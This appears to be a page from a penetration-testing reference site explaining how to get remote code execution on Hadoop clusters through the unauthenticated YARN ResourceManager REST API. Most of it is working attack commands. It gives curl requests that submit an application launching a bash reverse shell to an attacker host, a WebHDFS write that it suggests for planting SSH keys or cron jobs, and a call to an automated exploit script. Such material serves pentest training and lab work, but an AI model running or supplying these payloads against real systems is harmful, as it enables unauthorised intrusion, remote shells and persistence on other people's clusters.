# Hadoop YARN RCE

> Exploiting unauthenticated Hadoop YARN ResourceManager REST API to achieve remote code execution via malicious application submission.

- **URL:** https://hackindex.io/services/hadoop-hdfs/exploitation/hadoop-yarn-rce
- **Path:** Hadoop HDFS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/hadoop-hdfs/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

The YARN ResourceManager REST API (port 8088) accepts application submissions without authentication by default. By submitting a new YARN application with an arbitrary command, an attacker gets remote code execution on any node in the Hadoop cluster. Confirm ResourceManager access through [Hadoop enumeration](https://hackindex.io/services/hadoop/enumeration/hadoop-enumeration) first.

## Application Submission RCE

YARN applications are submitted in two steps: create a new application ID, then submit the application with the command to execute.

**Step 1: Request a new application ID**

```bash
curl -s -X POST http://$TARGET_IP:8088/ws/v1/cluster/apps/new-application | python3 -m json.tool
# {
#   "application-id": "application_1694000000000_0001",
#   "maximum-resource-capability": {
#     "memory": 8192,
#     "vCores": 4
#   }
# }
```

**Step 2: Submit application with reverse shell**

```bash
curl -s -X POST http://$TARGET_IP:8088/ws/v1/cluster/apps \
  -H 'Content-Type: application/json' \
  -d '{
    "application-id": "application_1694000000000_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {
        "command": "/bin/bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\""
      }
    },
    "application-type": "YARN",
    "resource": {"memory": 1024, "vCores": 1}
  }'
```

## Verifying Execution

Check the application status to confirm it was accepted and is running.

```bash
curl -s http://$TARGET_IP:8088/ws/v1/cluster/apps/application_1694000000000_0001 | python3 -m json.tool
```

## HDFS File Write

With WebHDFS access (port 9870), write files directly to the HDFS filesystem. Useful for planting SSH keys or cron jobs if HDFS paths map to local filesystem mounts.

**Write a file to HDFS**

```bash
curl -s -X PUT -L 'http://$TARGET_IP:9870/webhdfs/v1/tmp/proof.txt?op=CREATE&overwrite=true' \
  -H 'Content-Type: application/octet-stream' \
  -d 'RCE confirmed'
```

## Automated Exploitation

**Using hadoop-yarn-exploit**

```bash
python3 hadoop_yarn_exploit.py -t http://$TARGET_IP:8088 -c 'id'
```

## References

- [Hadoop: ResourceManager REST API](https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html) - Official YARN API docs for application submission.
- [Vulhub: Hadoop YARN Unauthorized RCE](https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn) - Docker lab environment and PoC for YARN RCE.